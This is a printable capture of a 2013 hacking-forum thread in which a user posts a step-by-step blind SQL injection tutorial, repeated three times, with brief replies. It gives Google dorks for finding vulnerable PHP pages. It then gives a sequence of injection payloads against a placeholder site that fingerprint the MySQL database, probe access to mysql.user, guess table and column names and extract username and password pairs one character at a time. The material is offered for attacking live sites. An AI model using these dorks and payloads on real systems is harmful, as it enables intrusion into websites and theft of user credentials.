![]() |
|
Complete guide to Blind Sql injections. - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Hacking (https://sinister.li/Forum-Hacking) +--- Forum: Tutorials (https://sinister.li/Forum-Tutorials) +--- Thread: Complete guide to Blind Sql injections. (/Thread-Complete-guide-to-Blind-Sql-injections) Pages:
1
2
|
Complete guide to Blind Sql injections. - JackDaniels - 01-18-2013 ![]() Hello everyone it's time for another tutorial and this time it's about a blind Sql injection. This is more advanced then an ordinary one just keep on reading and you will understand why. Google dorks for Sql injection: (Not all of these needs to be hacked with the Blind sqli method. PHP Code: inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:fiche_spectacle.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurltray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?av
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:review.php?id=
inurl:loadpsb.php?id=
I will be using our example PHP Code: http://www.site.com/news.php?id=5
when we execute this, we see some page and articles on that page, pictures etc... then when we want to test it for blind Sql injection attack PHP Code: http://www.site.com/news.php?id=5 and 1=1 <--- this is always true
The page loads normally, that's okey. Now the real test. PHP Code: http://www.site.com/news.php?id=5 and 1=2 <--- this is false
So if some text, picture or some content is missing on returned page then that site is vulnerable to blind Sql injection. Step 1 Get the MySQL version To get the version in blind attack we use substring. PHP Code: http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
This should return TRUE if the version of MySQL is 4. Replace 4 with 5, and if query return TRUE then the version is 5. PHP Code: http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
Step 2 Test if subselect works When select don't work then we use subselect PHP Code: http://www.site.com/news.php?id=5 and (select 1)=1
If page loads normally then subselects work. Then we gonna see if we have access to mysql.user PHP Code: http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
If page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE. Step 3 Check table and column names. This part might be tricky because you have to guess. For example PHP Code: http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)
Then if the page loads normally without content missing, the table users exits. If you get FALSE (some article missing), just change table name until you guess the right one. Let's say that we have found that table name is users, now what we need is column name. The same as table name, we start guessing. Like i said before try the common names for columns. PHP Code: http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
If the page loads normally we know that column name is password (if we get false then try common names or just guess) Here we merge 1 with the column password, then substring returns the first character (,1,1) Step 4 Pull data from the database. We found table users i columns username password so we gonna pull characters from that. PHP Code: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
Ok this here pulls the first character from first user in table users. Substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value and then compare it with symbol greater then > . So if the ascii character greater then 80, the page loads normally. (TRUE) We keep trying until we get false. PHP Code: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
We get TRUE, keep on raising the value. PHP Code: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
TRUE again, higher PHP Code: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
Lets say we got a false value now. so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'. then let's check the second character. PHP Code: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in length) PHP Code: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
True keep going. PHP Code: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>107
False lower number. PHP Code: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>104
True go higher. PHP Code: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>105
False! We now know that the character is 105 so if we count it with hex it's i. We have "ci" so far. So keep going up until you get the end. (when >0 returns false we know that we have reach the end). Complete guide to Blind Sql injections. - JackDaniels - 01-18-2013 ![]() Hello everyone it's time for another tutorial and this time it's about a blind Sql injection. This is more advanced then an ordinary one just keep on reading and you will understand why. Google dorks for Sql injection: (Not all of these needs to be hacked with the Blind sqli method. PHP Code: inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:fiche_spectacle.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurltray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?av
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:review.php?id=
inurl:loadpsb.php?id=
I will be using our example PHP Code: http://www.site.com/news.php?id=5
when we execute this, we see some page and articles on that page, pictures etc... then when we want to test it for blind Sql injection attack PHP Code: http://www.site.com/news.php?id=5 and 1=1 <--- this is always true
The page loads normally, that's okey. Now the real test. PHP Code: http://www.site.com/news.php?id=5 and 1=2 <--- this is false
So if some text, picture or some content is missing on returned page then that site is vulnerable to blind Sql injection. Step 1 Get the MySQL version To get the version in blind attack we use substring. PHP Code: http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
This should return TRUE if the version of MySQL is 4. Replace 4 with 5, and if query return TRUE then the version is 5. PHP Code: http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
Step 2 Test if subselect works When select don't work then we use subselect PHP Code: http://www.site.com/news.php?id=5 and (select 1)=1
If page loads normally then subselects work. Then we gonna see if we have access to mysql.user PHP Code: http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
If page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE. Step 3 Check table and column names. This part might be tricky because you have to guess. For example PHP Code: http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)
Then if the page loads normally without content missing, the table users exits. If you get FALSE (some article missing), just change table name until you guess the right one. Let's say that we have found that table name is users, now what we need is column name. The same as table name, we start guessing. Like i said before try the common names for columns. PHP Code: http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
If the page loads normally we know that column name is password (if we get false then try common names or just guess) Here we merge 1 with the column password, then substring returns the first character (,1,1) Step 4 Pull data from the database. We found table users i columns username password so we gonna pull characters from that. PHP Code: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
Ok this here pulls the first character from first user in table users. Substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value and then compare it with symbol greater then > . So if the ascii character greater then 80, the page loads normally. (TRUE) We keep trying until we get false. PHP Code: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
We get TRUE, keep on raising the value. PHP Code: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
TRUE again, higher PHP Code: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
Lets say we got a false value now. so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'. then let's check the second character. PHP Code: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in length) PHP Code: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
True keep going. PHP Code: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>107
False lower number. PHP Code: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>104
True go higher. PHP Code: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>105
False! We now know that the character is 105 so if we count it with hex it's i. We have "ci" so far. So keep going up until you get the end. (when >0 returns false we know that we have reach the end). Complete guide to Blind Sql injections. - JackDaniels - 01-18-2013 ![]() Hello everyone it's time for another tutorial and this time it's about a blind Sql injection. This is more advanced then an ordinary one just keep on reading and you will understand why. Google dorks for Sql injection: (Not all of these needs to be hacked with the Blind sqli method. PHP Code: inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:fiche_spectacle.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurltray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?av
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:review.php?id=
inurl:loadpsb.php?id=
I will be using our example PHP Code: http://www.site.com/news.php?id=5
when we execute this, we see some page and articles on that page, pictures etc... then when we want to test it for blind Sql injection attack PHP Code: http://www.site.com/news.php?id=5 and 1=1 <--- this is always true
The page loads normally, that's okey. Now the real test. PHP Code: http://www.site.com/news.php?id=5 and 1=2 <--- this is false
So if some text, picture or some content is missing on returned page then that site is vulnerable to blind Sql injection. Step 1 Get the MySQL version To get the version in blind attack we use substring. PHP Code: http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
This should return TRUE if the version of MySQL is 4. Replace 4 with 5, and if query return TRUE then the version is 5. PHP Code: http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
Step 2 Test if subselect works When select don't work then we use subselect PHP Code: http://www.site.com/news.php?id=5 and (select 1)=1
If page loads normally then subselects work. Then we gonna see if we have access to mysql.user PHP Code: http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
If page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE. Step 3 Check table and column names. This part might be tricky because you have to guess. For example PHP Code: http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)
Then if the page loads normally without content missing, the table users exits. If you get FALSE (some article missing), just change table name until you guess the right one. Let's say that we have found that table name is users, now what we need is column name. The same as table name, we start guessing. Like i said before try the common names for columns. PHP Code: http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
If the page loads normally we know that column name is password (if we get false then try common names or just guess) Here we merge 1 with the column password, then substring returns the first character (,1,1) Step 4 Pull data from the database. We found table users i columns username password so we gonna pull characters from that. PHP Code: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
Ok this here pulls the first character from first user in table users. Substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value and then compare it with symbol greater then > . So if the ascii character greater then 80, the page loads normally. (TRUE) We keep trying until we get false. PHP Code: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
We get TRUE, keep on raising the value. PHP Code: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
TRUE again, higher PHP Code: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
Lets say we got a false value now. so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'. then let's check the second character. PHP Code: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in length) PHP Code: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
True keep going. PHP Code: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>107
False lower number. PHP Code: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>104
True go higher. PHP Code: http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>105
False! We now know that the character is 105 so if we count it with hex it's i. We have "ci" so far. So keep going up until you get the end. (when >0 returns false we know that we have reach the end). RE: Complete guide to Blind Sql injections. - The Alchemist - 01-18-2013 Nice. Well detailed tut with very good explanation. You might wanna add some dorks too to the tutorial. Everything else is cool. RE: Complete guide to Blind Sql injections. - The Alchemist - 01-18-2013 Nice. Well detailed tut with very good explanation. You might wanna add some dorks too to the tutorial. Everything else is cool. RE: Complete guide to Blind Sql injections. - The Alchemist - 01-18-2013 Nice. Well detailed tut with very good explanation. You might wanna add some dorks too to the tutorial. Everything else is cool. RE: Complete guide to Blind Sql injections. - JackDaniels - 01-18-2013 Thanks for the reply. Some dorks added. As always Best regards. RE: Complete guide to Blind Sql injections. - JackDaniels - 01-18-2013 Thanks for the reply. Some dorks added. As always Best regards. RE: Complete guide to Blind Sql injections. - JackDaniels - 01-18-2013 Thanks for the reply. Some dorks added. As always Best regards. RE: Complete guide to Blind Sql injections. - HACK - 01-20-2013 This seems as if it has been copied and pasted.anyways good tut |